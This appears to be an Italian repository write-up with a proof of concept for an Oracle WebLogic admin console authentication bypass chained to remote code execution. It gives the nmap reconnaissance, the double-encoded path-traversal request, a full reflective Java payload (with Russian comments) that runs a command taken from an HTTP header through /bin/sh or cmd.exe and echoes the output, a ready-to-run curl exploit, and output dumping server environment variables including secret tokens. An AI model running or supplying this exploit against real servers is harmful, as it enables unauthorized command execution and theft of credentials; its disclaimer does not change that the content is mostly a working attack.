
Analisi tecnica e PoC clean basato su Java Thread Echo per la catena di vulnerabilità di Oracle WebLogic Server.
Il repository contiene un rapporto tecnico (Write-up) e un Proof of Concept (PoC) di livello concettuale per dimostrare la catena di vulnerabilità di bypass dell'autenticazione (Authentication Bypass) e di esecuzione remota di codice (RCE) nel componente della console di amministrazione di Oracle WebLogic Server.
🛑 AVVERTENZA E DISCLAIMER: Questo materiale è stato preparato esclusivamente a scopo educativo e per l'esecuzione di audit di sicurezza legittimi (Pentest). L'uso delle tecniche descritte contro sistemi senza il previo consenso scritto dei proprietari è perseguito per legge.
12.2.1.3 distribuitonmap, curl, bashPer determinare la superficie di attacco è stata condotta una scansione mirata delle porte standard dei servizi web e delle porte di amministrazione delle applicazioni Java:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
Output terminale controllato:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3. L'abilitazione del protocollo T3 indica anche vettori alternativi, ma per questa ricerca è stata scelta l'interfaccia web HTTP della console.L'analisi della struttura dei percorsi ha mostrato che il server web gestisce in modo errato le sequenze di risalita della directory quando vengono codificate due volte in URL. La risorsa /console/css/ è aperta per i contenuti statici. Costruiamo la richiesta per accedere al portale protetto:
/console/css/%252e%252e%252fconsole.portalVerifichiamo la disponibilità e il comportamento del server (ci aspettiamo lo stato 200 OK invece di 403 Forbidden o 302 Redirect verso la pagina di login):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
Risposta del server:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
Combinando il bypass dell'autorizzazione con la chiamata al gestore delle sessioni com.tangosol.coherence.mvel2.sh.ShellSession, otteniamo la possibilità di eseguire codice Java arbitrario.
La normale esecuzione dei comandi tramite java.lang.Runtime è «cieca» (Blind RCE). Per implementare la tecnica Command Echo (restituzione dell'output del terminale direttamente nel corpo della risposta HTTP), è stato sviluppato un apposito payload Java riflessivo.
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
Per automatizzare l'invio del contesto Java componiamo il comando curl finale. Trasmettiamo il payload nel parametro POST handle e il comando che ci interessa nell'header personalizzato X-CMD-HEADER: env.
Questo approccio protegge i dati dalla distorsione da parte dell'interprete di shell Bash locale sul lato del ricercatore.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
Output reale verificato (Dump delle variabili d'ambiente):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining